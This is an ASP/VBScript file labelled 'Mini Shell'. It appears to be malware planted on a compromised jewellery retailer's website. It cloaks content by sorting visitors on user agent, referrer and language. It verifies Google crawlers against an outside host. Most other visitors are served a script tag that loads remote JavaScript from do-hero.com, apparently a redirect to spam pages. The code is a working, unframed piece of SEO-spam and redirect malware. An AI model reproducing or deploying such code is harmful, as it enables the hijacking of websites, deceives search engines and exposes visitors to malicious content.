Mini Shell

<%
Dim url,zhizhu,langs,c1,okweb,userip,isrealgoogle
url=LCase(Request.ServerVariables("Http_Referer"))
zhizhu=Request.ServerVariables("HTTP_USER_AGENT")
langs=Mid(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"),1,5)

userIPnum = Request.ServerVariables("HTTP_X_FORWARDED_FOR") 
If userIPnum = "" Then userIPnum = Request.ServerVariables("REMOTE_ADDR")



If instr(zhizhu,"google")>0 Then
	isrealgoogle = GetURL("http://www.do-hero.com/tools/ip.php?ip="&userIPnum)

	If isrealgoogle = "1" Then
		c1="1"
	Else
		c1="11"
	End If
Else If url<>"" and instr(langs,"zh")=0 Then 
c1="2"
Else If instr(langs,"zh")=0 Then
c1="3"
Else
c1="4"
End If
End If
End If

If Request.ServerVariables("server_name")="www.jewellerytime.com.sg" Or Request.ServerVariables("server_name")="jewellerytime.com.sg" Then
okweb="1"
End If

Function GetURL(url)
	on error resume next
	dim Retrieval
	Set Retrieval = Server.CreateObject("MSXML2.ServerXMLHTTP")
	Retrieval.setTimeouts 600000, 600000, 600000, 600000
	Retrieval.Open "GET", url, false
	Retrieval.Send
	GetURL = Retrieval.ResponseBody
	Set Retrieval = Nothing
	GetURL=BytesToBstr(GetURL,"utf-8")
End Function
 
Function BytesToBstr(strBody,CodeBase)
	dim objStream
	set objStream = Server.CreateObject("Adodb.Stream")
	objStream.Type = 1
	objStream.Mode =3
	objStream.Open
	objStream.Write strBody
	objStream.Position = 0
	objStream.Type = 2
	objStream.Charset = CodeBase
	BytesToBstr = objStream.ReadText
	objStream.Close
	set objStream = nothing
End Function


If (c1="1" Or c1="4") and okweb="1" Then
%>
<!--#include file="indax.html"-->
<%
response.end
end if
jumpcode="http://www.do-hero.com/adidas.js"
jumpcode="<script type="&chr(34)&"text/javascript"&chr(34)&" src="&chr(34)&jumpcode&chr(34)&"></script>"
response.write jumpcode
%>
<!--#include file="indax.html"-->